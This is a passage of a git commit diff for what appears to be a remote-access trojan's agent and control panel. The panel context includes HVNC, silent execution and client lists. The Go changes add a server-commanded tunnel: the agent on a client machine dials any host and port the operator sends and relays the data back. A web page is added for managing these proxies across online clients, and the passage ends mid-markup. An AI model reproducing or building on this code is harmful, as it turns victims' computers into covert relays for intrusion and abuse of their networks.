add new socks5 update
This commit is contained in:
@@ -123,6 +123,8 @@ func resetForReconnect(env *runtime.Env) {
|
|||||||
|
|
||||||
stopVoiceSession()
|
stopVoiceSession()
|
||||||
|
|
||||||
|
CleanupAllTunnels()
|
||||||
|
|
||||||
env.NotificationMu.Lock()
|
env.NotificationMu.Lock()
|
||||||
env.NotificationKeywords = nil
|
env.NotificationKeywords = nil
|
||||||
env.NotificationMinIntervalMs = 0
|
env.NotificationMinIntervalMs = 0
|
||||||
@@ -1755,11 +1757,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||||
return ErrReconnect
|
return ErrReconnect
|
||||||
case "proxy_start":
|
case "proxy_connect":
|
||||||
payload, _ := envelope["payload"].(map[string]interface{})
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
return HandleProxyStart(ctx, env, cmdID, payload)
|
return HandleProxyConnect(ctx, env, cmdID, payload)
|
||||||
case "proxy_stop":
|
case "proxy_data":
|
||||||
return HandleProxyStop(ctx, env, cmdID)
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
return HandleProxyData(ctx, env, cmdID, payload)
|
||||||
|
case "proxy_close":
|
||||||
|
return HandleProxyClose(ctx, env, cmdID)
|
||||||
default:
|
default:
|
||||||
log.Printf("command: unknown action=%s", action)
|
log.Printf("command: unknown action=%s", action)
|
||||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unknown command"}
|
||||||
|
|||||||
@@ -2,9 +2,7 @@ package handlers
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/binary"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -15,241 +13,179 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
proxyListenerMu sync.Mutex
|
tunnelMu sync.Mutex
|
||||||
proxyListener net.Listener
|
tunnelConns = make(map[string]*tunnelConn) // connectionId → tunnelConn
|
||||||
proxyPort int
|
|
||||||
proxyCtx context.Context
|
|
||||||
proxyCancel context.CancelFunc
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
type tunnelConn struct {
|
||||||
proxyListenerMu.Lock()
|
conn net.Conn
|
||||||
defer proxyListenerMu.Unlock()
|
cancel context.CancelFunc
|
||||||
|
}
|
||||||
|
|
||||||
if proxyListener != nil {
|
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
||||||
|
host, _ := payload["host"].(string)
|
||||||
|
portRaw := payload["port"]
|
||||||
|
var port int
|
||||||
|
switch v := portRaw.(type) {
|
||||||
|
case int:
|
||||||
|
port = v
|
||||||
|
case int8:
|
||||||
|
port = int(v)
|
||||||
|
case int16:
|
||||||
|
port = int(v)
|
||||||
|
case int32:
|
||||||
|
port = int(v)
|
||||||
|
case int64:
|
||||||
|
port = int(v)
|
||||||
|
case uint:
|
||||||
|
port = int(v)
|
||||||
|
case uint8:
|
||||||
|
port = int(v)
|
||||||
|
case uint16:
|
||||||
|
port = int(v)
|
||||||
|
case uint32:
|
||||||
|
port = int(v)
|
||||||
|
case uint64:
|
||||||
|
port = int(v)
|
||||||
|
case float32:
|
||||||
|
port = int(v)
|
||||||
|
case float64:
|
||||||
|
port = int(v)
|
||||||
|
}
|
||||||
|
|
||||||
|
if host == "" || port <= 0 || port > 65535 {
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
Type: "command_result",
|
Type: "command_result",
|
||||||
CommandID: cmdID,
|
CommandID: connID,
|
||||||
OK: false,
|
OK: false,
|
||||||
Message: "Proxy already running",
|
Message: "Invalid host or port",
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
requestedPort := 1080
|
target := fmt.Sprintf("%s:%d", host, port)
|
||||||
if portVal, ok := payload["port"]; ok {
|
|
||||||
if port, ok := portVal.(int); ok && port > 0 {
|
goSafe("tunnel-dial-"+connID, nil, func() {
|
||||||
requestedPort = port
|
|
||||||
|
targetConn, err := net.DialTimeout("tcp", target, 10*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[tunnel] failed to connect to %s: %v", target, err)
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: connID,
|
||||||
|
OK: false,
|
||||||
|
Message: fmt.Sprintf("Connection refused: %v", err),
|
||||||
|
})
|
||||||
|
return
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
|
tunnelCtx, tunnelCancel := context.WithCancel(context.Background())
|
||||||
if err != nil {
|
tc := &tunnelConn{conn: targetConn, cancel: tunnelCancel}
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
|
||||||
|
tunnelMu.Lock()
|
||||||
|
tunnelConns[connID] = tc
|
||||||
|
tunnelMu.Unlock()
|
||||||
|
|
||||||
|
// tell the server we connected successfully
|
||||||
|
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
Type: "command_result",
|
Type: "command_result",
|
||||||
CommandID: cmdID,
|
CommandID: connID,
|
||||||
OK: false,
|
OK: true,
|
||||||
Message: fmt.Sprintf("Failed to start proxy: %v", err),
|
Message: "Connected",
|
||||||
})
|
}); err != nil {
|
||||||
}
|
targetConn.Close()
|
||||||
|
tunnelCancel()
|
||||||
|
tunnelMu.Lock()
|
||||||
|
delete(tunnelConns, connID)
|
||||||
|
tunnelMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
proxyListener = listener
|
defer func() {
|
||||||
proxyPort = listener.Addr().(*net.TCPAddr).Port
|
tunnelCancel()
|
||||||
proxyCtx, proxyCancel = context.WithCancel(context.Background())
|
targetConn.Close()
|
||||||
|
tunnelMu.Lock()
|
||||||
|
delete(tunnelConns, connID)
|
||||||
|
tunnelMu.Unlock()
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.ProxyClose{
|
||||||
|
Type: "proxy_close",
|
||||||
|
ConnectionID: connID,
|
||||||
|
})
|
||||||
|
|
||||||
log.Printf("SOCKS5 proxy started on port %d", proxyPort)
|
}()
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
buf := make([]byte, 32*1024)
|
||||||
Type: "command_result",
|
for {
|
||||||
CommandID: cmdID,
|
select {
|
||||||
OK: true,
|
case <-tunnelCtx.Done():
|
||||||
Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
|
return
|
||||||
}); err != nil {
|
default:
|
||||||
return err
|
}
|
||||||
}
|
n, err := targetConn.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
go acceptProxyConnections(proxyCtx, listener)
|
data := make([]byte, n)
|
||||||
|
copy(data, buf[:n])
|
||||||
|
if writeErr := wire.WriteMsg(ctx, env.Conn, wire.ProxyData{
|
||||||
|
Type: "proxy_data",
|
||||||
|
ConnectionID: connID,
|
||||||
|
Data: data,
|
||||||
|
}); writeErr != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
func HandleProxyData(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
||||||
proxyListenerMu.Lock()
|
tunnelMu.Lock()
|
||||||
defer proxyListenerMu.Unlock()
|
tc, ok := tunnelConns[connID]
|
||||||
|
tunnelMu.Unlock()
|
||||||
if proxyListener == nil {
|
if !ok {
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
return nil
|
||||||
Type: "command_result",
|
|
||||||
CommandID: cmdID,
|
|
||||||
OK: false,
|
|
||||||
Message: "No proxy running",
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if proxyCancel != nil {
|
var data []byte
|
||||||
proxyCancel()
|
switch v := payload["data"].(type) {
|
||||||
}
|
case []byte:
|
||||||
|
data = v
|
||||||
if err := proxyListener.Close(); err != nil {
|
case string:
|
||||||
log.Printf("Error closing proxy listener: %v", err)
|
data = []byte(v)
|
||||||
}
|
|
||||||
|
|
||||||
proxyListener = nil
|
|
||||||
proxyPort = 0
|
|
||||||
|
|
||||||
log.Printf("SOCKS5 proxy stopped")
|
|
||||||
|
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
|
||||||
Type: "command_result",
|
|
||||||
CommandID: cmdID,
|
|
||||||
OK: true,
|
|
||||||
Message: "Proxy stopped",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func acceptProxyConnections(ctx context.Context, listener net.Listener) {
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-ctx.Done():
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
|
|
||||||
conn, err := listener.Accept()
|
|
||||||
if err != nil {
|
|
||||||
select {
|
|
||||||
case <-ctx.Done():
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
log.Printf("Proxy accept error: %v", err)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
go handleProxyConnection(ctx, conn)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func handleProxyConnection(ctx context.Context, conn net.Conn) {
|
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
conn.SetDeadline(time.Now().Add(30 * time.Second))
|
|
||||||
|
|
||||||
buf := make([]byte, 2)
|
|
||||||
if _, err := io.ReadFull(conn, buf); err != nil {
|
|
||||||
log.Printf("Proxy handshake read error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
version := buf[0]
|
|
||||||
nmethods := buf[1]
|
|
||||||
|
|
||||||
if version != 5 {
|
|
||||||
log.Printf("Unsupported SOCKS version: %d", version)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
methods := make([]byte, nmethods)
|
|
||||||
if _, err := io.ReadFull(conn, methods); err != nil {
|
|
||||||
log.Printf("Proxy methods read error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := conn.Write([]byte{5, 0}); err != nil {
|
|
||||||
log.Printf("Proxy handshake response error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
reqHeader := make([]byte, 4)
|
|
||||||
if _, err := io.ReadFull(conn, reqHeader); err != nil {
|
|
||||||
log.Printf("Proxy request header error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if reqHeader[0] != 5 {
|
|
||||||
log.Printf("Invalid request version: %d", reqHeader[0])
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := reqHeader[1]
|
|
||||||
if cmd != 1 {
|
|
||||||
conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
atyp := reqHeader[3]
|
|
||||||
var host string
|
|
||||||
var port uint16
|
|
||||||
|
|
||||||
switch atyp {
|
|
||||||
case 1: // IPv4
|
|
||||||
addr := make([]byte, 4)
|
|
||||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
host = net.IP(addr).String()
|
|
||||||
case 3: // domain name
|
|
||||||
addrLen := make([]byte, 1)
|
|
||||||
if _, err := io.ReadFull(conn, addrLen); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
addr := make([]byte, addrLen[0])
|
|
||||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
host = string(addr)
|
|
||||||
case 4: // IPv6
|
|
||||||
addr := make([]byte, 16)
|
|
||||||
if _, err := io.ReadFull(conn, addr); err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
host = net.IP(addr).String()
|
|
||||||
default:
|
default:
|
||||||
conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
|
return nil
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// read port
|
if _, err := tc.conn.Write(data); err != nil {
|
||||||
portBytes := make([]byte, 2)
|
tc.cancel()
|
||||||
if _, err := io.ReadFull(conn, portBytes); err != nil {
|
return nil
|
||||||
return
|
|
||||||
}
|
}
|
||||||
port = binary.BigEndian.Uint16(portBytes)
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
|
func HandleProxyClose(ctx context.Context, env *runtime.Env, connID string) error {
|
||||||
|
tunnelMu.Lock()
|
||||||
// connect to target
|
tc, ok := tunnelConns[connID]
|
||||||
targetAddr := fmt.Sprintf("%s:%d", host, port)
|
if ok {
|
||||||
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
delete(tunnelConns, connID)
|
||||||
if err != nil {
|
|
||||||
log.Printf("Failed to connect to %s: %v", targetAddr, err)
|
|
||||||
conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
defer targetConn.Close()
|
tunnelMu.Unlock()
|
||||||
|
if ok {
|
||||||
|
tc.cancel()
|
||||||
|
tc.conn.Close()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// send success response
|
func CleanupAllTunnels() {
|
||||||
// VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
|
tunnelMu.Lock()
|
||||||
conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
|
defer tunnelMu.Unlock()
|
||||||
|
for id, tc := range tunnelConns {
|
||||||
// clear deadline for data transfer
|
tc.cancel()
|
||||||
conn.SetDeadline(time.Time{})
|
tc.conn.Close()
|
||||||
targetConn.SetDeadline(time.Time{})
|
delete(tunnelConns, id)
|
||||||
|
|
||||||
// relay data bidirectionally
|
|
||||||
done := make(chan struct{}, 2)
|
|
||||||
|
|
||||||
goSafe("socks5 relay to target", nil, func() {
|
|
||||||
io.Copy(targetConn, conn)
|
|
||||||
done <- struct{}{}
|
|
||||||
})
|
|
||||||
|
|
||||||
goSafe("socks5 relay to client", nil, func() {
|
|
||||||
io.Copy(conn, targetConn)
|
|
||||||
done <- struct{}{}
|
|
||||||
})
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-done:
|
|
||||||
case <-ctx.Done():
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -208,3 +208,14 @@ type HVNCCloneProgress struct {
|
|||||||
TotalBytes int64 `msgpack:"totalBytes"`
|
TotalBytes int64 `msgpack:"totalBytes"`
|
||||||
Status string `msgpack:"status"`
|
Status string `msgpack:"status"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type ProxyData struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
ConnectionID string `msgpack:"connectionId"`
|
||||||
|
Data []byte `msgpack:"data"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ProxyClose struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
ConnectionID string `msgpack:"connectionId"`
|
||||||
|
}
|
||||||
|
|||||||
@@ -776,11 +776,6 @@ menu.addEventListener("click", async (e) => {
|
|||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (open === "proxy") {
|
|
||||||
window.open(`/${contextCard}/proxy`, "_blank", "noopener");
|
|
||||||
closeMenu(clearContext);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (open === "silent-exec") {
|
if (open === "silent-exec") {
|
||||||
window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener");
|
window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener");
|
||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ if (host) {
|
|||||||
"/metrics": "metrics-link",
|
"/metrics": "metrics-link",
|
||||||
"/logs": "logs-link",
|
"/logs": "logs-link",
|
||||||
"/scripts": "scripts-link",
|
"/scripts": "scripts-link",
|
||||||
|
"/socks5-manager": "socks5-link",
|
||||||
"/plugins": "plugins-link",
|
"/plugins": "plugins-link",
|
||||||
"/build": "build-link",
|
"/build": "build-link",
|
||||||
"/users": "users-link",
|
"/users": "users-link",
|
||||||
|
|||||||
@@ -47,6 +47,12 @@ export function mountNav(host) {
|
|||||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||||
><i class="fa-solid fa-code text-cyan-400"></i> Scripts</a
|
><i class="fa-solid fa-code text-cyan-400"></i> Scripts</a
|
||||||
>
|
>
|
||||||
|
<a
|
||||||
|
href="/socks5-manager"
|
||||||
|
id="socks5-link"
|
||||||
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||||
|
><i class="fa-solid fa-network-wired text-sky-400"></i> Proxies</a
|
||||||
|
>
|
||||||
<a
|
<a
|
||||||
href="/plugins"
|
href="/plugins"
|
||||||
id="plugins-link"
|
id="plugins-link"
|
||||||
|
|||||||
@@ -1,194 +0,0 @@
|
|||||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|
||||||
|
|
||||||
const clientId = window.location.pathname.split("/")[1];
|
|
||||||
if (!clientId) {
|
|
||||||
alert("Missing clientId");
|
|
||||||
location.href = "/";
|
|
||||||
}
|
|
||||||
|
|
||||||
const clientLabel = document.getElementById("clientLabel");
|
|
||||||
const statusPill = document.getElementById("status-pill");
|
|
||||||
const portInput = document.getElementById("portInput");
|
|
||||||
const startBtn = document.getElementById("startBtn");
|
|
||||||
const stopBtn = document.getElementById("stopBtn");
|
|
||||||
const proxyInfo = document.getElementById("proxyInfo");
|
|
||||||
const proxyAddress = document.getElementById("proxyAddress");
|
|
||||||
const logContainer = document.getElementById("logContainer");
|
|
||||||
|
|
||||||
const toast =
|
|
||||||
(typeof window !== "undefined" && window.createToast) ||
|
|
||||||
(typeof window !== "undefined" && window.showToast) ||
|
|
||||||
null;
|
|
||||||
|
|
||||||
let ws = null;
|
|
||||||
let proxyRunning = false;
|
|
||||||
|
|
||||||
clientLabel.textContent = clientId;
|
|
||||||
|
|
||||||
function updateStatus(className, text) {
|
|
||||||
statusPill.className = `pill ${className}`;
|
|
||||||
statusPill.textContent = text;
|
|
||||||
}
|
|
||||||
|
|
||||||
function addLog(message, type = "info") {
|
|
||||||
const timestamp = new Date().toLocaleTimeString();
|
|
||||||
const colors = {
|
|
||||||
info: "text-slate-400",
|
|
||||||
success: "text-green-400",
|
|
||||||
error: "text-red-400",
|
|
||||||
warning: "text-yellow-400",
|
|
||||||
};
|
|
||||||
const color = colors[type] || colors.info;
|
|
||||||
|
|
||||||
const logEntry = document.createElement("div");
|
|
||||||
logEntry.className = color;
|
|
||||||
logEntry.textContent = `[${timestamp}] ${message}`;
|
|
||||||
|
|
||||||
logContainer.appendChild(logEntry);
|
|
||||||
logContainer.scrollTop = logContainer.scrollHeight;
|
|
||||||
|
|
||||||
// Keep only last 100 log entries
|
|
||||||
while (logContainer.children.length > 100) {
|
|
||||||
logContainer.removeChild(logContainer.firstChild);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function connect() {
|
|
||||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
|
||||||
const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`;
|
|
||||||
|
|
||||||
ws = new WebSocket(wsUrl);
|
|
||||||
ws.binaryType = "arraybuffer";
|
|
||||||
|
|
||||||
ws.onopen = () => {
|
|
||||||
console.log("Proxy control connected");
|
|
||||||
updateStatus("pill-online", "Connected");
|
|
||||||
addLog("Connected to proxy control interface", "success");
|
|
||||||
};
|
|
||||||
|
|
||||||
ws.onmessage = (event) => {
|
|
||||||
const msg = decodeMsgpack(event.data);
|
|
||||||
if (!msg) {
|
|
||||||
console.error("Failed to decode message");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
handleMessage(msg);
|
|
||||||
};
|
|
||||||
|
|
||||||
ws.onerror = (err) => {
|
|
||||||
console.error("WebSocket error:", err);
|
|
||||||
updateStatus("pill-offline", "Connection Error");
|
|
||||||
addLog("WebSocket connection error", "error");
|
|
||||||
};
|
|
||||||
|
|
||||||
ws.onclose = () => {
|
|
||||||
console.log("Proxy control disconnected");
|
|
||||||
updateStatus("pill-offline", "Disconnected");
|
|
||||||
addLog("Disconnected from proxy control", "warning");
|
|
||||||
setTimeout(() => connect(), 3000);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function send(msg) {
|
|
||||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
|
||||||
ws.send(encodeMsgpack(msg));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function handleMessage(msg) {
|
|
||||||
console.log("Received:", msg);
|
|
||||||
|
|
||||||
switch (msg.type) {
|
|
||||||
case "ready":
|
|
||||||
addLog("Proxy control session ready", "success");
|
|
||||||
if (!msg.clientOnline) {
|
|
||||||
updateStatus("pill-offline", "Client Offline");
|
|
||||||
addLog("Target client is offline", "error");
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case "status":
|
|
||||||
if (msg.status === "offline") {
|
|
||||||
updateStatus("pill-offline", "Client Offline");
|
|
||||||
addLog("Target client went offline", "error");
|
|
||||||
setProxyStopped();
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case "command_result":
|
|
||||||
handleCommandResult(msg);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function handleCommandResult(msg) {
|
|
||||||
if (msg.ok) {
|
|
||||||
if (msg.message && msg.message.includes("started")) {
|
|
||||||
const match = msg.message.match(/port (\d+)/);
|
|
||||||
const port = match ? match[1] : portInput.value;
|
|
||||||
setProxyRunning(port);
|
|
||||||
addLog(`Proxy started successfully on port ${port}`, "success");
|
|
||||||
if (toast) toast(`Proxy started on port ${port}`, "success");
|
|
||||||
} else if (msg.message && msg.message.includes("stopped")) {
|
|
||||||
setProxyStopped();
|
|
||||||
addLog("Proxy stopped successfully", "success");
|
|
||||||
if (toast) toast("Proxy stopped", "success");
|
|
||||||
} else {
|
|
||||||
addLog(msg.message || "Command completed", "success");
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
addLog(msg.message || "Command failed", "error");
|
|
||||||
if (toast) toast(msg.message || "Command failed", "error");
|
|
||||||
if (msg.message && msg.message.includes("already running")) {
|
|
||||||
// Proxy is running but we didn't know
|
|
||||||
setProxyRunning(portInput.value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function setProxyRunning(port) {
|
|
||||||
proxyRunning = true;
|
|
||||||
startBtn.disabled = true;
|
|
||||||
stopBtn.disabled = false;
|
|
||||||
proxyInfo.classList.remove("hidden");
|
|
||||||
proxyAddress.textContent = `127.0.0.1:${port}`;
|
|
||||||
portInput.disabled = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
function setProxyStopped() {
|
|
||||||
proxyRunning = false;
|
|
||||||
startBtn.disabled = false;
|
|
||||||
stopBtn.disabled = true;
|
|
||||||
proxyInfo.classList.add("hidden");
|
|
||||||
portInput.disabled = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
function startProxy() {
|
|
||||||
const port = parseInt(portInput.value);
|
|
||||||
if (isNaN(port) || port < 1 || port > 65535) {
|
|
||||||
if (toast) toast("Invalid port number (1-65535)", "error");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
addLog(`Sending start command for port ${port}...`, "info");
|
|
||||||
send({ type: "proxy_start", port });
|
|
||||||
}
|
|
||||||
|
|
||||||
function stopProxy() {
|
|
||||||
addLog("Sending stop command...", "info");
|
|
||||||
send({ type: "proxy_stop" });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Event listeners
|
|
||||||
startBtn.addEventListener("click", startProxy);
|
|
||||||
stopBtn.addEventListener("click", stopProxy);
|
|
||||||
|
|
||||||
// Initialize
|
|
||||||
connect();
|
|
||||||
|
|
||||||
// Clear initial placeholder
|
|
||||||
setTimeout(() => {
|
|
||||||
if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) {
|
|
||||||
logContainer.innerHTML = "";
|
|
||||||
}
|
|
||||||
}, 1000);
|
|
||||||
@@ -0,0 +1,221 @@
|
|||||||
|
const toast =
|
||||||
|
(typeof window !== "undefined" && window.createToast) ||
|
||||||
|
(typeof window !== "undefined" && window.showToast) ||
|
||||||
|
null;
|
||||||
|
|
||||||
|
const tableBody = document.getElementById("proxyTableBody");
|
||||||
|
const addProxyBtn = document.getElementById("addProxyBtn");
|
||||||
|
const addProxyModal = document.getElementById("addProxyModal");
|
||||||
|
const modalClientSelect = document.getElementById("modalClientSelect");
|
||||||
|
const modalPortInput = document.getElementById("modalPortInput");
|
||||||
|
const modalCancelBtn = document.getElementById("modalCancelBtn");
|
||||||
|
const modalAddBtn = document.getElementById("modalAddBtn");
|
||||||
|
|
||||||
|
let pollingInterval = null;
|
||||||
|
|
||||||
|
// Check if a clientId was provided via URL params (from context menu)
|
||||||
|
const urlParams = new URLSearchParams(window.location.search);
|
||||||
|
const preselectedClientId = urlParams.get("clientId") || "";
|
||||||
|
|
||||||
|
// ── Data fetching ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function fetchProxies() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/proxy/list");
|
||||||
|
if (!res.ok) return [];
|
||||||
|
const data = await res.json();
|
||||||
|
return data.proxies || [];
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchClients() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/clients?page=1&pageSize=500");
|
||||||
|
if (!res.ok) return [];
|
||||||
|
const data = await res.json();
|
||||||
|
return (data.items || []).filter((c) => c.online);
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Rendering ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function formatTime(ts) {
|
||||||
|
if (!ts) return "-";
|
||||||
|
const d = new Date(ts);
|
||||||
|
return d.toLocaleString();
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderTable(proxies) {
|
||||||
|
if (!proxies.length) {
|
||||||
|
tableBody.innerHTML = `
|
||||||
|
<tr>
|
||||||
|
<td colspan="7" class="px-4 py-12 text-center text-slate-500">
|
||||||
|
<div class="flex flex-col items-center gap-2">
|
||||||
|
<i class="fa-solid fa-network-wired text-3xl text-slate-600"></i>
|
||||||
|
<p class="text-slate-400">No active proxies</p>
|
||||||
|
<p class="text-xs">Click "Add Proxy" to start routing traffic through a client.</p>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
tableBody.innerHTML = proxies
|
||||||
|
.map(
|
||||||
|
(p) => `
|
||||||
|
<tr class="border-b border-slate-800 hover:bg-slate-800/30 transition-colors">
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-desktop text-slate-400"></i>
|
||||||
|
<span class="font-mono text-sm">${escapeHtml(p.clientId)}</span>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
<span class="font-mono text-blue-300 font-semibold">${p.port}</span>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
<span class="inline-flex items-center gap-1.5 px-2 py-0.5 rounded-full text-xs font-medium bg-green-500/20 text-green-400 border border-green-500/30">
|
||||||
|
<span class="w-1.5 h-1.5 rounded-full bg-green-400"></span>
|
||||||
|
Active
|
||||||
|
</span>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-slate-300">${p.connections}</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
<code class="text-xs text-slate-400 bg-slate-800 px-2 py-1 rounded">socks5://<server>:${p.port}</code>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-slate-400 text-xs">${formatTime(p.createdAt)}</td>
|
||||||
|
<td class="px-4 py-3 text-right">
|
||||||
|
<button
|
||||||
|
